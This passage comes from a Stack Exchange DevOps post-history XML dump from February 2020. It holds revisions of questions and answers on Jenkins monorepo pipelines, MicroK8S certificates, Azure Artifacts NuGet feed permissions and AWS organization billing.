   +-----------+                  |&#xD;&#xA;                     |           |       | Service 1 |                  |&#xD;&#xA;                     |           +------&gt;|           |                  |&#xD;&#xA;                     |           |       +-----------+                  |&#xD;&#xA;                     |           |                                      |&#xD;&#xA;                     |           |       +-----------+                  |&#xD;&#xA;                     |           |       | Service 2 |                  |&#xD;&#xA;                     |           +------&gt;|           |                  |&#xD;&#xA;                     |                   +-----------+                  |&#xD;&#xA;                     +--------------------------------------------------+&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33245" PostHistoryTypeId="2" PostId="10833" RevisionGUID="3e692434-cf47-452b-add9-4789eff4e2b2" CreationDate="2020-02-17T15:21:13.533" UserId="19143" Text=" I don't think there's an ideal solution at all. However, there may be a preferred one, depending on circumstances.&#xD;&#xA;&#xD;&#xA;There're several factors which I think one has to consider:&#xD;&#xA;  &#xD;&#xA; - How cheap/expensinve a dedicated instance is?&#xD;&#xA; - What are security concerns/considerations?&#xD;&#xA; - What is expected volume of data from every environment?&#xD;&#xA;&#xD;&#xA;**Expected data volume** -&gt; Preference  &#xD;&#xA;High -&gt; Solution II&#xD;&#xA;Low -&gt; Solution I&#xD;&#xA;&#xD;&#xA;**Security concerns** -&gt; Preference  &#xD;&#xA;Yes -&gt; Solution II, Solution III&#xD;&#xA;No -&gt; Solution I&#xD;&#xA;&#xD;&#xA;**Instance cost** -&gt; Preferences  &#xD;&#xA;High -&gt; Solution I&#xD;&#xA;Low -&gt; Solution II&#xD;&#xA;&#xD;&#xA;Based on the analysis of one's particular circumstances a preferred solution may be selected.&#xD;&#xA;&#xD;&#xA;I would love to know what others think about the subject, though" ContentLicense="CC BY-SA 4.0" />
  <row Id="33246" PostHistoryTypeId="5" PostId="10833" RevisionGUID="ff84f63d-fdbb-472d-9deb-19ec045c47d8" CreationDate="2020-02-17T16:01:14.290" UserId="19415" Comment="Format choices as a table" Text=" I don't think there's an ideal solution at all. However, there may be a preferred one, depending on circumstances.&#xD;&#xA;&#xD;&#xA;There're several factors which I think one has to consider:&#xD;&#xA;  &#xD;&#xA; - How cheap/expensinve a dedicated instance is?&#xD;&#xA; - What are security concerns/considerations?&#xD;&#xA; - What is expected volume of data from every environment?&#xD;&#xA;&#xD;&#xA;This table can resume them :&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;     |    Factor \ |  Solution I  | Solution II  | Solution III |&#xD;&#xA;     |____________\|______________|______________|______________|&#xD;&#xA;     | Data Volume |     Low      |     High     |              |&#xD;&#xA;     |-------------+--------------+--------------+--------------|&#xD;&#xA;     |    Security |      No      |     Yes      |     Yes      |&#xD;&#xA;     |-------------+--------------+--------------+--------------|&#xD;&#xA;     |Instance Cost|     High     |     Low      |              |&#xD;&#xA;     |_____________|______________|______________|______________|&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Based on the analysis of one's particular circumstances a preferred solution may be selected.&#xD;&#xA;&#xD;&#xA;I would love to know what others think about the subject, though" ContentLicense="CC BY-SA 4.0" />
  <row Id="33247" PostHistoryTypeId="24" PostId="10833" RevisionGUID="ff84f63d-fdbb-472d-9deb-19ec045c47d8" CreationDate="2020-02-17T16:01:14.290" Comment="Proposed by 19415 approved by 19143 edit id of 1148" ContentLicense="CC BY-SA 4.0" />
  <row Id="33249" PostHistoryTypeId="2" PostId="10834" RevisionGUID="b081b439-2705-4f93-a3ac-9588f5ce7c3b" CreationDate="2020-02-17T22:44:51.983" UserId="17688" Text="The answer given by @Eduardo Baitello is the correct answer for the vast majority of Kube installs. However I learned that if you've installed the MicroK8S snap install on Ubuntu the instructions are a little bit different. Per [this issue][1], you'll need to update the `/var/snap/microk8s/current/certs/csr.conf.template` file, then run `microk8s.stop` and `microk8s.start` in succession.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ubuntu/microk8s/issues/461" ContentLicense="CC BY-SA 4.0" />
  <row Id="33253" PostHistoryTypeId="50" PostId="10506" RevisionGUID="a52b6103-802d-41c7-85a4-802950d0b300" CreationDate="2020-02-18T06:01:35.213" UserId="-1" />
  <row Id="33254" PostHistoryTypeId="5" PostId="10833" RevisionGUID="0b466ee8-daa9-4dc8-9d82-fda1e099e90e" CreationDate="2020-02-18T08:41:25.990" UserId="19143" Comment="edited body" Text=" I don't think there's an ideal solution at all. However, there may be a preferred one, depending on circumstances.&#xD;&#xA;&#xD;&#xA;There're several factors which I think one has to consider:&#xD;&#xA;  &#xD;&#xA; - How cheap/expensinve a dedicated instance is?&#xD;&#xA; - What are security concerns/considerations?&#xD;&#xA; - What is expected volume of data from every environment?&#xD;&#xA;&#xD;&#xA;This table can resume them :&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;     |    Factor \ |  Solution I  | Solution II  | Solution III |&#xD;&#xA;     |____________\|______________|______________|______________|&#xD;&#xA;     | Data Volume |     Low      |     High     |     High     |&#xD;&#xA;     |-------------+--------------+--------------+--------------|&#xD;&#xA;     |    Security |      No      |     Yes      |     Yes      |&#xD;&#xA;     |-------------+--------------+--------------+--------------|&#xD;&#xA;     |Instance Cost|     High     |     Low      |    Medium    |&#xD;&#xA;     |_____________|______________|______________|______________|&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Based on the analysis of one's particular circumstances a preferred solution may be selected.&#xD;&#xA;&#xD;&#xA;I would love to know what others think about the subject, though" ContentLicense="CC BY-SA 4.0" />
  <row Id="33255" PostHistoryTypeId="2" PostId="10836" RevisionGUID="0c9b0eec-3080-4b2b-a434-549714a2a6c1" CreationDate="2020-02-18T08:53:49.497" UserId="19506" Text="It is possible to get rid of this problem by uncheck the gitlab-managed cluster checkbox.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="33256" PostHistoryTypeId="2" PostId="10837" RevisionGUID="63c0261c-f949-4a5e-a959-75fbccff9277" CreationDate="2020-02-18T11:54:51.313" UserId="19738" Text="Hey folks I need some help on the jenkinsfile. Below is my usecase&#xD;&#xA;&#xD;&#xA;This is the strcuture of my GIT repo:&#xD;&#xA;&#xD;&#xA;    root&#xD;&#xA;      |-&gt;app1&#xD;&#xA;      |   |-&gt;jenkinsfile&#xD;&#xA;      |   |-&gt;dockerfile1&#xD;&#xA;      |-&gt;app2&#xD;&#xA;          |-&gt;jenkinsfile&#xD;&#xA;          |-&gt;dockerfile2&#xD;&#xA;&#xD;&#xA;I am having a monorepo, app1 and app2 in the root folder and when there is a change in app1 folder, only app1 should build and same for app2. I have defined the jenkinsfile in jenkins but when its build. its looking for dockerfile1 in root folder not inside app1.&#xD;&#xA;&#xD;&#xA;P.S: I can see some thread where people asking the same question but the answer is in detail. " ContentLicense="CC BY-SA 4.0" />
  <row Id="33257" PostHistoryTypeId="1" PostId="10837" RevisionGUID="63c0261c-f949-4a5e-a959-75fbccff9277" CreationDate="2020-02-18T11:54:51.313" UserId="19738" Text="how to checkout only specific folder from git repo((monorepo)) and build" ContentLicense="CC BY-SA 4.0" />
  <row Id="33258" PostHistoryTypeId="3" PostId="10837" RevisionGUID="63c0261c-f949-4a5e-a959-75fbccff9277" CreationDate="2020-02-18T11:54:51.313" UserId="19738" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33259" PostHistoryTypeId="2" PostId="10838" RevisionGUID="89faa332-6dda-44ec-9cd6-9da4222609e0" CreationDate="2020-02-18T13:16:03.083" UserId="18007" Text="The active Directory login is not working for us on DMZ server since the request is going to multiple domain controllers servers (which cause us slowness in login- almost 10 minutes). how can we limit it to only one DC server?&#xD;&#xA;&#xD;&#xA;Jenkins version: 2.176.1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33260" PostHistoryTypeId="1" PostId="10838" RevisionGUID="89faa332-6dda-44ec-9cd6-9da4222609e0" CreationDate="2020-02-18T13:16:03.083" UserId="18007" Text="Active directory integration issue with Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="33261" PostHistoryTypeId="3" PostId="10838" RevisionGUID="89faa332-6dda-44ec-9cd6-9da4222609e0" CreationDate="2020-02-18T13:16:03.083" UserId="18007" Text="&lt;jenkins&gt;&lt;active-directory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33264" PostHistoryTypeId="5" PostId="10837" RevisionGUID="5944fab8-4a9f-4658-9f51-dc92af2db643" CreationDate="2020-02-18T15:08:34.223" UserId="19738" Comment="grammer collection" Text="Hey folks I need some help on the jenkinsfile. Below is my usecase&#xD;&#xA;&#xD;&#xA;This is the strcuture of my GIT repo:&#xD;&#xA;&#xD;&#xA;    root&#xD;&#xA;      |-&gt;app1&#xD;&#xA;      |   |-&gt;jenkinsfile&#xD;&#xA;      |   |-&gt;dockerfile1&#xD;&#xA;      |-&gt;app2&#xD;&#xA;          |-&gt;jenkinsfile&#xD;&#xA;          |-&gt;dockerfile2&#xD;&#xA;&#xD;&#xA;I am having a monorepo, app1 and app2 in the root folder and when there is a change in app1 folder, only app1 should build and same for app2. I have defined the jenkinsfile in jenkins but when its build. its looking for dockerfile1 in root folder not inside app1.&#xD;&#xA;&#xD;&#xA;P.S: I can see some thread where people asking the same question but the answer is in detail. &#xD;&#xA;&#xD;&#xA;jenkinsfile:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;    &#xD;&#xA;        environment {&#xD;&#xA;            PIPENV_VENV_IN_PROJECT = true&#xD;&#xA;            DEVPI_USER = '\'jenkins_user\''&#xD;&#xA;            DEVPI_PASSWORD = '\'V$5_Z%Bf-:mJ\''&#xD;&#xA;            WORKSPACE=&quot;${WORKSPACE}/app1&quot;&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Notify Bitbucket') {&#xD;&#xA;                steps {&#xD;&#xA;                    bitbucketStatusNotify(buildState: 'INPROGRESS')&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('Build Environment') {&#xD;&#xA;                steps {&#xD;&#xA;                    sh 'docker build -t app-builder .'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('Test') {&#xD;&#xA;    &#xD;&#xA;                steps{&#xD;&#xA;                    sh 'docker run --rm app-builder pytest'&#xD;&#xA;                }&#xD;&#xA;            }" ContentLicense="CC BY-SA 4.0" />
  <row Id="33265" PostHistoryTypeId="50" PostId="9877" RevisionGUID="af92e144-c129-4ec3-bf9f-6320fd8fbad3" CreationDate="2020-02-18T17:00:50.003" UserId="-1" />
  <row Id="33266" PostHistoryTypeId="50" PostId="10524" RevisionGUID="bdc72fd2-df11-4f10-b774-ee4b1fb170eb" CreationDate="2020-02-18T18:03:40.590" UserId="-1" />
  <row Id="33267" PostHistoryTypeId="2" PostId="10840" RevisionGUID="cb003d84-7f44-4b25-9564-fd6f202aa574" CreationDate="2020-02-18T18:38:29.163" UserId="4115" Text="No, this is not possible, because the number and type of parameters for a build are fixed and cannot be modified on-the-fly.  The only way to modify which parameters show up in the &quot;build with parameters&quot; UI is to change the job configuration, which alters the parameters permanently.&#xD;&#xA;&#xD;&#xA;In my opinion, if you need to do several different tasks which require several different input parameters (such as &quot;build&quot;, &quot;test&quot;, &quot;install&quot;, &quot;deploy&quot;, etc.), you should have separate jobs in Jenkins for each task.  I personally think it is a good ideal in general to avoid complex Jenkins jobs which require a lot of input parameters and try instead to simplify job configuration in order to reduce the likelihood of subtle, difficult-to-debug errors when executing jobs." ContentLicense="CC BY-SA 4.0" />
  <row Id="33274" PostHistoryTypeId="2" PostId="10843" RevisionGUID="f759d88c-549b-462c-98bc-5e6b90c9d756" CreationDate="2020-02-18T21:42:59.630" UserId="19753" Text="**Summary**&#xD;&#xA;&#xD;&#xA;Not able to find NuGet package from our private feed under Artifacts.&#xD;&#xA;&#xD;&#xA;**Our Azure DevOps environment**&#xD;&#xA;&#xD;&#xA;In Azure, we have our company &quot;space&quot;: dev.azure.com/OurCompany&#xD;&#xA;&#xD;&#xA;Under that, we have multiple Projects, so for example, imagine these three:&#xD;&#xA;&#xD;&#xA; - Green: this holds applications of a certain type&#xD;&#xA; - Blue: this holds applications of a different type&#xD;&#xA; - Red: this holds our &quot;common&quot; helper code&#xD;&#xA;&#xD;&#xA;**RED**&#xD;&#xA;&#xD;&#xA;RED holds all our common helper code are DLLs consumed by applications in GREEN and BLUE.  These are made available as NuGet packages.&#xD;&#xA;&#xD;&#xA;Under RED's Artifacts, we see an &quot;organisational scoped feed&quot; called &quot;OurCompany&quot;.  We understood that we couldn't use this because these NuGet packages need to be available to everyone in OurCompany, which means not only on Azure, but also on our DeskTop machines in our Corporate network (where we run Visual Studio).  The &quot;organisational scoped feed&quot; I don't think is exposed to our Corporate Network.&#xD;&#xA;&#xD;&#xA;We therefore created a new Feed under RED's Artifacts.  When I view Permissions, I see the following entries:&#xD;&#xA;&#xD;&#xA; - {me} : (Owner)&#xD;&#xA; - [OurCompany]\Project Collection Adminstrators : (Owner)&#xD;&#xA; - [RED]\Project Administrators : (Owner)&#xD;&#xA; - RED Build Service (OurCompany) : (Contributor)&#xD;&#xA; - Project Collection Build Service (OurCompany) : (Contributor)&#xD;&#xA; - [RED]\Contributors (Contributor)&#xD;&#xA;&#xD;&#xA;**Corporate**&#xD;&#xA;&#xD;&#xA;So, back in Corporate, we add the NuGet package feed to our Visual Studio and it can then pull the NuGet packages down from Azure.&#xD;&#xA;&#xD;&#xA;**GREEN and BLUE**&#xD;&#xA;&#xD;&#xA;In here we have our products.  We create a build Pipeline and we add a NuGet restore step:&#xD;&#xA;&#xD;&#xA;    - task: NuGetCommand@2&#xD;&#xA;      displayName: 'Restore for Our Application'&#xD;&#xA;      inputs:&#xD;&#xA;        command: 'restore'&#xD;&#xA;        restoreSolution: '**/*.sln'&#xD;&#xA;        feedsToUse: 'select'&#xD;&#xA;        vstsFeed: '{Guid1}/{Guid2}'&#xD;&#xA;&#xD;&#xA;The two Guids were filled in when we picket the Azure Artifacts feed from the drop-down.&#xD;&#xA;&#xD;&#xA;**GREEN or BLUE NuGet Restore Failure**&#xD;&#xA;&#xD;&#xA;So this is where we run into our issue.  When the NuGet restore step executes, it fails with the following message:&#xD;&#xA;&#xD;&#xA;&gt; Unable to find version 'nnnn.n.n' of package 'TheNuGetPackage'.&#xD;&#xA;&#xD;&#xA;The log output is vast, but the salient lines appear to be:&#xD;&#xA;&#xD;&#xA;&gt; 2020-02-18T18:36:35.2838118Z&#xD;&#xA;&gt; [command]C:\hostedtoolcache\windows\NuGet\5.4.0\x64\nuget.exe sources&#xD;&#xA;&gt; Add -NonInteractive -Name {Guid2} -Source&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&#xD;&#xA;&gt; -ConfigFile d:\a\1\Nuget\tempNuGet_356.config 2020-02-18T18:36:35.7513495Z Package source with Name: {Guid2} added&#xD;&#xA;&gt; successfully. 2020-02-18T18:36:41.1671856Z    &#xD;&#xA;&gt; [CredentialProvider.183638]Command-line&#xD;&#xA;&gt; v0.1.20+a5d37185a1a95acb4f0g997b9c23cab99508:&#xD;&#xA;&gt; &quot;d:\a\_tasks\NuGetCommand_333b11bd-d341-40d9-bdbd-b32d5ce6f23b\2.164.0\CredentialProviderV2\plugins\netfx\CredentialProvider.Microsoft\CredentialProvider.Microsoft.exe&quot;&#xD;&#xA;&gt; -Plugin 2020-02-18T18:36:41.1673979Z     [CredentialProvider]Handling 'Request' 'GetAuthenticationCredentials'. Time elapsed in ms: 3 -&#xD;&#xA;&gt; Payload:&#xD;&#xA;&gt; {&quot;Uri&quot;:&quot;https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&quot;,&quot;IsRetry&quot;:false,&quot;IsNonInteractive&quot;:true,&quot;CanShowDialog&quot;:true}&#xD;&#xA;&gt; 2020-02-18T18:36:41.1674299Z     [CredentialProvider]Handling auth&#xD;&#xA;&gt; request, Uri:&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json,&#xD;&#xA;&gt; IsRetry: False, IsNonInteractive: True, CanShowDialog: True&#xD;&#xA;&gt; 2020-02-18T18:36:41.1674465Z     [CredentialProvider]URI:&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&#xD;&#xA;&gt; 2020-02-18T18:36:41.1674818Z     [CredentialProvider]Skipping&#xD;&#xA;&gt; NuGetCredentialProvider.CredentialProviders.VstsBuildTaskServiceEndpoint.VstsBuildTaskServiceEndpointCredentialProvider,&#xD;&#xA;&gt; cannot provide credentials for&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&#xD;&#xA;&gt; 2020-02-18T18:36:41.1675261Z    &#xD;&#xA;&gt; [CredentialProvider]VstsBuildTaskCredentialProvider -&#xD;&#xA;&gt; https://dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1675425Z    &#xD;&#xA;&gt; [CredentialProvider]VstsBuildTaskCredentialProvider -&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1675722Z   &#xD;&#xA;&gt; [CredentialProvider]VstsBuildTaskCredentialProvider -&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676021Z   &#xD;&#xA;&gt; [CredentialProvider]VstsBuildTaskCredentialProvider -&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676161Z   &#xD;&#xA;&gt; [CredentialProvider]VstsBuildTaskCredentialProvider - Matched prefix:&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676330Z   &#xD;&#xA;&gt; [CredentialProvider]VstsBuildTaskCredentialProvider - Found&#xD;&#xA;&gt; credentials for endpoint&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&#xD;&#xA;&gt; 2020-02-18T18:36:41.1680820Z  &#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json:&#xD;&#xA;&gt; Unable to load the service index for source&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json.&#xD;&#xA;&gt; 2020-02-18T18:36:41.1680996Z   Response status code does not indicate&#xD;&#xA;&gt; success: 404 (Not Found - VS800075: The project with id&#xD;&#xA;&gt; 'vstfs:///Classification/TeamProject/{Guid1}' does not exist, or you&#xD;&#xA;&gt; do not have permission to access it. (DevOps Activity ID:&#xD;&#xA;&gt; 0628EDE7-6E7E-465D-A6AE-7B6B0AA065D2)).&#xD;&#xA;&#xD;&#xA;This looks like a permissions thing to me.  But what seems odd is that the Artifact Feed in RED was discoverable when creating the Pipeline Build YAML when we then don't have permissions to use it.&#xD;&#xA;&#xD;&#xA;I did try adding permissions to the Feed in RED.  Clicking on the &quot;Add users/groups&quot;.  I found the following and added them as either Reader or Contributor, but with no success.&#xD;&#xA;&#xD;&#xA; 1. [GREEN]\ Green Team&#xD;&#xA; 2. GREEN Build Services&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA; 1. Am I going about this the wrong way?  If so, what ought I be doing (I thought I'd followed the Azure DevOps instuctions fairly closely)&#xD;&#xA; 2. Am I going about this the right way?  If so, what have I missed?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33275" PostHistoryTypeId="1" PostId="10843" RevisionGUID="f759d88c-549b-462c-98bc-5e6b90c9d756" CreationDate="2020-02-18T21:42:59.630" UserId="19753" Text="Project pipeline not able to access Artifict Feed in different project" ContentLicense="CC BY-SA 4.0" />
  <row Id="33276" PostHistoryTypeId="3" PostId="10843" RevisionGUID="f759d88c-549b-462c-98bc-5e6b90c9d756" CreationDate="2020-02-18T21:42:59.630" UserId="19753" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;nuget&gt;&lt;azure-artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33278" PostHistoryTypeId="5" PostId="10843" RevisionGUID="97038f4a-2ef7-409d-b7c5-22d0da8ec300" CreationDate="2020-02-19T04:54:00.823" UserId="46" Comment="deleted 118 characters in body" Text="**Summary**&#xD;&#xA;&#xD;&#xA;Not able to find NuGet package from our private feed under Artifacts.&#xD;&#xA;&#xD;&#xA;**Our Azure DevOps environment**&#xD;&#xA;&#xD;&#xA;In Azure, we have our company &quot;space&quot;: dev.azure.com/OurCompany&#xD;&#xA;&#xD;&#xA;Under that, we have multiple Projects, so for example, imagine these three:&#xD;&#xA;&#xD;&#xA; - Green: this holds applications of a certain type&#xD;&#xA; - Blue: this holds applications of a different type&#xD;&#xA; - Red: this holds our &quot;common&quot; helper code&#xD;&#xA;&#xD;&#xA;**RED**&#xD;&#xA;&#xD;&#xA;RED holds all our common helper code are DLLs consumed by applications in GREEN and BLUE.  These are made available as NuGet packages.&#xD;&#xA;&#xD;&#xA;Under RED's Artifacts, we see an &quot;organisational scoped feed&quot; called &quot;OurCompany&quot;.  We understood that we couldn't use this because these NuGet packages need to be available to everyone in OurCompany, which means not only on Azure, but also on our DeskTop machines in our Corporate network (where we run Visual Studio).  The &quot;organisational scoped feed&quot; I don't think is exposed to our Corporate Network.&#xD;&#xA;&#xD;&#xA;We therefore created a new Feed under RED's Artifacts.  When I view Permissions, I see the following entries:&#xD;&#xA;&#xD;&#xA; - {me} : (Owner)&#xD;&#xA; - [OurCompany]\Project Collection Adminstrators : (Owner)&#xD;&#xA; - [RED]\Project Administrators : (Owner)&#xD;&#xA; - RED Build Service (OurCompany) : (Contributor)&#xD;&#xA; - Project Collection Build Service (OurCompany) : (Contributor)&#xD;&#xA; - [RED]\Contributors (Contributor)&#xD;&#xA;&#xD;&#xA;**Corporate**&#xD;&#xA;&#xD;&#xA;So, back in Corporate, we add the NuGet package feed to our Visual Studio and it can then pull the NuGet packages down from Azure.&#xD;&#xA;&#xD;&#xA;**GREEN and BLUE**&#xD;&#xA;&#xD;&#xA;In here we have our products.  We create a build Pipeline and we add a NuGet restore step:&#xD;&#xA;&#xD;&#xA;    - task: NuGetCommand@2&#xD;&#xA;      displayName: 'Restore for Our Application'&#xD;&#xA;      inputs:&#xD;&#xA;        command: 'restore'&#xD;&#xA;        restoreSolution: '**/*.sln'&#xD;&#xA;        feedsToUse: 'select'&#xD;&#xA;        vstsFeed: '{Guid1}/{Guid2}'&#xD;&#xA;&#xD;&#xA;The two Guids were filled in when we picket the Azure Artifacts feed from the drop-down.&#xD;&#xA;&#xD;&#xA;**GREEN or BLUE NuGet Restore Failure**&#xD;&#xA;&#xD;&#xA;So this is where we run into our issue.  When the NuGet restore step executes, it fails with the following message:&#xD;&#xA;&#xD;&#xA;    Unable to find version 'nnnn.n.n' of package 'TheNuGetPackage'.&#xD;&#xA;&#xD;&#xA;The log output is vast, but the salient lines appear to be:&#xD;&#xA;&#xD;&#xA;    2020-02-18T18:36:35.2838118Z [command]C:\hostedtoolcache\windows\NuGet\5.4.0\x64\nuget.exe sources Add -NonInteractive -Name {Guid2} -Source https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&#xD;&#xA;    -ConfigFile d:\a\1\Nuget\tempNuGet_356.config 2020-02-18T18:36:35.7513495Z Package source with Name: {Guid2} added successfully. 2020-02-18T18:36:41.1671856Z     [CredentialProvider.183638]Command-line v0.1.20+a5d37185a1a95acb4f0g997b9c23cab99508: &quot;d:\a\_tasks\NuGetCommand_333b11bd-d341-40d9-bdbd-b32d5ce6f23b\2.164.0\CredentialProviderV2\plugins\netfx\CredentialProvider.Microsoft\CredentialProvider.Microsoft.exe&quot;&#xD;&#xA;    -Plugin 2020-02-18T18:36:41.1673979Z     [CredentialProvider]Handling 'Request' 'GetAuthenticationCredentials'. Time elapsed in ms: 3 - Payload: {&quot;Uri&quot;:&quot;https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&quot;,&quot;IsRetry&quot;:false,&quot;IsNonInteractive&quot;:true,&quot;CanShowDialog&quot;:true} 2020-02-18T18:36:41.1674299Z     [CredentialProvider]Handling auth request, Uri: https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json, IsRetry: False, IsNonInteractive: True, CanShowDialog: True 2020-02-18T18:36:41.1674465Z     [CredentialProvider]URI: https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json 2020-02-18T18:36:41.1674818Z     [CredentialProvider]Skipping NuGetCredentialProvider.CredentialProviders.VstsBuildTaskServiceEndpoint.VstsBuildTaskServiceEndpointCredentialProvider, cannot provide credentials for https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json 2020-02-18T18:36:41.1675261Z     [CredentialProvider]VstsBuildTaskCredentialProvider - https://dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1675425Z     [CredentialProvider]VstsBuildTaskCredentialProvider - https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1675722Z    [CredentialProvider]VstsBuildTaskCredentialProvider - https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676021Z    [CredentialProvider]VstsBuildTaskCredentialProvider - https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676161Z    [CredentialProvider]VstsBuildTaskCredentialProvider - Matched prefix: https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676330Z    [CredentialProvider]VstsBuildTaskCredentialProvider - Found credentials for endpoint https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json 2020-02-18T18:36:41.1680820Z   https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json: Unable to load the service index for source https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json. 2020-02-18T18:36:41.1680996Z   Response status code does not indicate success: 404 (Not Found - VS800075: The project with id 'vstfs:///Classification/TeamProject/{Guid1}' does not exist, or you do not have permission to access it. (DevOps Activity ID: 0628EDE7-6E7E-465D-A6AE-7B6B0AA065D2)).&#xD;&#xA;&#xD;&#xA;This looks like a permissions thing to me.  But what seems odd is that the Artifact Feed in RED was discoverable when creating the Pipeline Build YAML when we then don't have permissions to use it.&#xD;&#xA;&#xD;&#xA;I did try adding permissions to the Feed in RED.  Clicking on the &quot;Add users/groups&quot;.  I found the following and added them as either Reader or Contributor, but with no success.&#xD;&#xA;&#xD;&#xA; 1. [GREEN]\ Green Team&#xD;&#xA; 2. GREEN Build Services&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA; 1. Am I going about this the wrong way?  If so, what ought I be doing (I thought I'd followed the Azure DevOps instuctions fairly closely)&#xD;&#xA; 2. Am I going about this the right way?  If so, what have I missed?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33279" PostHistoryTypeId="2" PostId="10844" RevisionGUID="986381cf-b760-479a-a9fd-842abd52d19d" CreationDate="2020-02-19T08:27:50.490" UserId="19761" Text="I was using an AWS account with my credit card info and my personal account. Since I'm learning my way around AWS services I am using free tier as much as I can but I still have some small charges sent to my credit card at the end of the month. &#xD;&#xA;Recently I started a freelance project and they sent me a link and I became a part of the organization. Under My Organization I see the organization with the following note: &quot;Organization features enabled... All features enabled...&quot;.&#xD;&#xA;My question is how is billing done and if I spin up an instance not in the free tier who will pay for it and how can I manage and define who is paying for what?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33280" PostHistoryTypeId="1" PostId="10844" RevisionGUID="986381cf-b760-479a-a9fd-842abd52d19d" CreationDate="2020-02-19T08:27:50.490" UserId="19761" Text="AWS organizations and Billing" ContentLicense="CC BY-SA 4.0" />
  <row Id="33281" PostHistoryTypeId="3" PostId="10844" RevisionGUID="986381cf-b760-479a-a9fd-842abd52d19d" CreationDate="2020-02-19T08:27:50.490" UserId="19761" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33282" PostHistoryTypeId="4" PostId="10843" RevisionGUID="f619f4af-8301-4800-95a3-9dc7813bd55d" CreationDate="2020-02-19T08:49:18.170" UserId="19753" Comment="edited title" Text="Project pipeline not able to access Artifact Feed in different project" ContentLicense="CC BY-SA 4.0" />
  <row Id="33283" PostHistoryTypeId="2" PostId="10845" RevisionGUID="c79fb064-c0d8-4cb9-a110-f08f9fe1c7e6" CreationDate="2020-02-19T09:12:32.143" UserId="19394" Text="Go to the [Billing Dashboard][1] link in your console  &#xD;&#xA;&#xD;&#xA;If you can see details of your CC then it's you.  &#xD;&#xA;&#xD;&#xA;If you see something like this message:  &#xD;&#xA;&#xD;&#xA;[![billing console no permissions][2]][2]&#xD;&#xA;&#xD;&#xA;Then it's managed by a different account that you do not even have permissions to see.&#xD;&#xA;&#xD;&#xA;  [1]: https://console.aws.amazon.com/billing/home&#xD;&#xA;  [2]: https://i.stack.imgur.com/qGw7A.png" ContentLicense="CC BY-SA 4.0" />
